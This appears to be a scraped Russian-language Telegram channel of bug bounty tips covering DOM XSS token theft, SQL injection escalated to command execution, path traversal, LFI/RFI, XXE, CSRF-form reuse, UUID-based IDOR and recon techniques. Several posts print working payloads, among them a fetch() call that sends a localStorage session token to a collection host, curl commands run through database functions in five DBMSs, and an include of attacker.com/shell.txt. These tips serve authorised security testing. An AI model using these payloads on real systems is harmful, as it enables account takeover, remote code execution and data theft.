Standoff Bug Bounty Tips – Telegram
👌 DOM-based XSS + localStorage = ATO

Нашли DOM-based XSS и заметили, что приложение использует современный JavaScript-фреймворк? Скорее всего, сессионный токен хранится в localStorage браузера — и это может помочь захватить аккаунт 🤑

Обычно чувствительные куки защищены флагом HttpOnly, чтобы JavaScript не мог их прочитать. Это снижает риск дальнейшей эксплуатации XSS.

Но разработчикам часто нужно отправлять защищенный токен вместе с запросами к API. В таком случае они сохраняют его в localStorage. Это значит, что JavaScript имеет к нему прямой доступ и может легко подставлять в запросы.

И да — если у вас есть DOM-based XSS на этом же домене, вы тоже можете вытащить токен.
Вот пример полезной нагрузки, которая отправляет токен на сервер с помощью fetch:

await fetch (https://example.com/collect?token=${encodeURIComponent(localStorage.getItem('session_token'))}')
10🔥7👏4👎3
🔝 SQLi -> RCE: как раскрутить SQL-инъекцию до RCE

Нашли скулю? Не спешите сдавать — попробуйте повысить импакт.

Вот примеры для разных СУБД:

1️⃣ Microsoft SQL Server: метод xp_cmdshell (требуются привилегии админа БД).

EXEC xp_cmdshell 'curl https://example.com'


2️⃣ MySQL: методы sys_eval или sys_exec (требуется установить или включить библиотеку User Defined Function).

SELECT sys_eval(' curl https://example.com');


3️⃣ Oracle: функции Java.

SELECT DBMS_JAVA_TEST.FUNCALL ('oracle/aurora/util/Wrapper', 'main', '/bin/bash','-c','/bin/curl https://example.com') from dual


4️⃣ SQLite: метод load_extension (необходимо включить расширения в конфигурации SQLite).

UNION SELECT 1, load_extension('|lexample.com\malicious_extension.so', 'MainFuncCall');


5️⃣ PostgreSQL: сначала создайте или включите функцию, а затем используйте ее для выполнения команд.

CREATE OR REPLACE FUNCTION system(string) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'C' STRICT;
SELECT system('curl https://example.com');
👍18🔥8❤‍🔥5
😎 Публичные Postman workspaces могут содержать секреты

Если не изменить настройки видимости рабочего пространства Postman, оно будет доступно всем желающим.

👉 Проверяем как показано ниже и ищем забытые секреты, ключи API и другие чувствительные данные:

https://www.postman.com/{companyName}/?tab=workspaces


👉 Дорк для поиска:

site:www.postman.com inurl:tab=workspaces "companyName"
🔥10👍41
🔍 Поиск проблем с разделителями пути с помощью Burp Intruder

Иногда веб-серверы по-разному обрабатывают спецсимволы (;, ? и другие) в URL-адресах. Это может привести к web cache deception или проблемам с контролем доступа.

👉 Вот как легко протестировать расхождения в разделителях пути:

1️⃣ Захватите запрос и отправьте в Intruder. Тип атаки Sniper (изменяется только одно место):

GET /my-account§§abc HTTP/2


Пример пэйлоада (полный список найдете здесь):

!
#
$
'
*
+
,
.
/
:
;
_
~
...


2️⃣ Запустите атаку и проанализируйте статусы, длину и ответы.

Ищите страницы большего/меньшего размера, изменения в коде состояния или различное поведение. Если заметили что-то необычное, скорее всего, вы нашли расхождение в разделителях 🤑

👉 Почему это важно?

Когда спецсимволы сбивают с толку сервер или кеш, вы можете обнаружить:

🔸 Web cache deception: случайное кеширование личных страниц
🔸 Обход доступа: пропуск проверок безопасности
🔸 Утечка информации: доступ к данным, которые вы не должны видеть

🔗 Попробуйте на практике в лабе PortSwigger

Уровень сложности: 🪲🪲
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13🤔4
Виртуальные хосты — это…

Механизм, который позволяет обращаться к нескольким доменам на одном веб-сервере. Администраторы в настройках веб-сервера прописывают домен, а браузер пользователя при обращении к IP указывает в заголовке Host запрашиваемый домен. Веб-сервер использует нужный шаблон и отдает запрашиваемый контент.

Конфигурирование веб-сервера может быть достаточно сложным, и могут возникать ошибки, например, доступные любому пользователю админ-панели или внутренние сервисы, которые не подразумевались быть доступными извне VPN.

Как найти внутренние сервисы и выявить мисконфигурации?

Используя сервис crt.sh, можно получить выписанные для домена сертификаты и скопировать все полученные домены. Сертификаты могут быть выписаны и на недоступные в данный момент из интернета приложения.

Это можно сделать, к примеру, так: https://crt.sh/?q=vk.team

Затем можно использовать curl и обратиться к IP-адресам, принадлежащим компании, с полученными доменными именами. Может произойти так, что балансировщик направит запрос во внутренний сервис, хотя он должен быть недоступен снаружи.

Например:

curl --resolve noscript.bugbounty.vk.company.ru:443:10.12.72.18 https://noscript.bugbounty.vk.company.ru/


Так можно обратиться к IP-адресу, используя произвольный заголовок Host. Как видно на скриншоте, по стандартным хостам нет доступа, но, применив правильный заголовок, мы получили ответ. Подставляя localhost или полученные из сертификатов домены, иногда можно получить доступ к админкам и другим внутренним системам.

Публикация подготовлена совместно с командой VK Bug Bounty.
10🔥5
💨 XML external entity в дикой природе

В первую очередь обращайте внимание на фичи приложения, которые потенциально могут работать с XML:

🔹 Веб-сервисы на основе XML (SOAP, REST и RPC API, которые принимают и обрабатывают данные в формате XML).

🔹 Любая фича импорта / экспорта, которая доставляет или принимает данные в формате XML.

🔹 Обработчики RSS и Atom лент.

🔹 Просмотрщики и конвертеры документов, работающие с файлами форматов DOCX, XLSX и другими XML-документами.

🔹 Загрузка и обработка файлов в XML (например, SVG-изображения).

💡 Главное правило

Ищите компоненты, принимающие и обрабатывающие произвольные XML-данные. Иногда REST API случайно настроены на приём разных форматов данных, включая XML.

Всегда проверяйте, какие форматы принимает приложение — это поможет найти потенциальные векторы атаки.

Как автоматизировать поиск

Добавьте в Proxy Interceptor правило замены типа содержимого: с application/json на text/xml. Далее отслеживайте ошибки парсинга XML.

Уровень сложности: 🪲🪲
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14🔥73
🚀 Эксплуатация path traversal второго порядка

Path traversal первого порядка — это когда вы напрямую передаёте путь вида ../../etc/passwd, и сервер сразу интерпретирует его.

Второй порядок — это когда:

1️⃣ Вы передаёте путь, который сначала сохраняется как строка или используется как параметр.

2️⃣ Он ещё не интерпретируется полностью.

3️⃣ Затем этот путь используется в другом сервисе/компоненте, где он декодируется заново или интерпретируется иначе.

Уровень сложности: 🪲🪲🪲
Please open Telegram to view this post
VIEW IN TELEGRAM
👍113🔥3
🎯 Создание кастомных словарей для багбаунти

Кастомные словари — ключ к эффективному брутфорсу и поиску скрытых эндпоинтов/параметров.

Вместо слепого сканирования по общеизвестному списку, эффективнее делать таргетированные запросы, повышая шансы на успех и снижая лишний шум.

Что включить в кастомный словарь

1️⃣ Список слов для конкретной компании:

🔹 Парсинг названий API, параметров и других характерных ключевых слов из HTML-страниц. Автоматизируем с помощью CeWL:

$ cewl https://example.com --header "Cookie: PHPSESSID=7a9b.." -d 5 -m 4


🔹 Токенизация URL-адресов с помощью tok:

$ cat urls.txt | tok


🔹 Парсинг ключевых слов из JS-файлов:

$ cat js-urls.txt | python3 getjswords.py


2️⃣ Ключевые слова, завязанные на стек: определяем стек через Wappalyzer/BuiltWith/заголовки, подбираем словари из SecLists под стек.

3️⃣ Включение часто встречающихся ключевых слов — api, admin, assets, profile, debug, id, и т. д. Отличная база у JHaddix.

4️⃣ Финальный шаг: объединяем все и прогоняем через wl для нормализации под стиль приложения.

💡 Применение:

• Брутфорс виртуальных хостов и параметров
• Обнаружение контента

P.S. При подготовке поста вдохновлялись статьей от Intigriti.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥105
✉️ Эксплуатация уязвимостей в системах электронной почты

Безопасность электронной почты — это больше, чем спам и фишинговые атаки. В любом веб-приложении — это:

▪️Конфиденциальная информация
▪️Ссылки для сброса пароля
▪️Сложная логика
▪️Интеграция в другие системы
▪️Широкая распространенность

Выше привели несколько примеров пэйлоада для выявления багов, связанных с обработкой email-адресов в веб-приложениях.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥85🤔1
🫣 Повторное использование CSRF-формы

Если XSS недоступна, но на странице уже есть форма с валидным CSRF-токеном, можно использовать HTML-инъекцию с помощью атрибута form=.

Все просто: привязываем внешние <input> и <button> к существующей форме по id — они попадут в POST-запрос при сабмите. Более того, кнопка может иметь свой formaction=, который перезапишет action формы, сохранив при этом CSRF-токен.

💡 Некоторые полезные атрибуты для более гибкого управления формами:

▪️formnovalidate= — позволяет игнорировать правила валидации формы. Полезно, если исходная форма заполнена не полностью, но нужно отправить запрос.

▪️formmethod= — меняет метод отправки формы, например, с GET на POST.

▪️formenctype= — задаёт тип кодирования данных, например multipart/form-data или text/plain. К сожалению, с его помощью всё ещё сложно отправлять валидный JSON в теле запроса.

▪️formtarget= — позволяет перенаправить ответ формы не в основное окно браузера, а в iframe с указанным id=, чтобы скрыть результат отправки от жертвы.

🏃 Больше интересных кейсов по HTML-инъекциям читайте здесь
Please open Telegram to view this post
VIEW IN TELEGRAM
👍92🔥2
🔓 От чтения к выполнению: когда доступ к файлу становится критическим

Хотя path traversal и arbitrary file read — и так опасные баги, они также пересекаются с более широкой категорией атак на основе файлов, особенно тех, которые приводят к выполнению кода. Разберем подробнее:

▪️Path Traversal позволяет читать файлы вне рабочей директории, например ../../../../etc/passwd.

▪️Arbitrary File Read идёт дальше: можно читать любой файл, независимо от пути. Всё, что приложение даст открыть — ваше.

💨 Когда чтение превращается в выполнение → Local File Inclusion

Если приложение не только читает, но и включает файл (например, через include($_GET['page']) в PHP), открывается дверь в LFI.

Классика:

<?php
include($_GET['page']); // уязвимо
?>


Передаём:

?page=../../../../var/log/apache2/access.log


А в лог предварительно закидываем PHP-пэйлоад через, например, User-Agent. В итоге получаем исполнение кода.

💨 Remote File Inclusion

RFI — как LFI, но файл загружается с внешнего URL. В более старых версиях PHP хватало:

?page=http://attacker.com/shell.txt


Сейчас allow_url_include часто выключен, но уязвимости живут в JS/Python, где делают eval(fetch(url)) или что-то похуже.

💡 Цепочки атак: когда пазл складывается

▪️Path Traversal → читаем конфиги → находим внутренние эндпоинты/креды → SSRF/обход аутентификации
▪️File write → включение пэйлоада через LFI → RCE
▪️Инжект в лог → включение логов через LFI → RCE
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11
🔗 UUID-based IDOR: 4 техники, которые могут выстрелить

Многие багхантеры полагаются только на перебор или простые кейсы при поиске IDOR, при этом упускают некоторые нестандартные способы 👇

1️⃣ Утечка UUID на уровне приложения

Есть ли в приложении функционал, где UUID может «засветиться» публично (например, таймлайн, история изменений, активности и т. д.) ?

Можно ли дать кому-то доступ к объекту с этим UUID, а потом забрать? Часто UUID всё ещё остаётся в логах, уведомлениях и т. п.

2️⃣ Получение UUID легитимным способом

Обычно это лучший способ добыть нужный UUID. Пользователи ведь не вводят UUID вручную — они вводят email, имя и т. д.

Если в приложении есть формы, которые принимают публичную инфу (email и т. д.) и возвращают UUID, то это золото.

3️⃣ Наследие старых ID

До UUID часто использовались числовые ID. Иногда в JSON-ответах всё ещё можно увидеть старые поля (id: 123, uuid: ...).

Бывает, что можно подставить старый числовой ID вместо UUID — и это срабатывает.

4️⃣ Утечка через пути

Можно ли каким-то способом вытащить внутренние пути приложения? Иногда помогает слабая политика referrer, открытые metadata-эндпоинты, где можно увидеть роуты и UUID внутри путей.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍53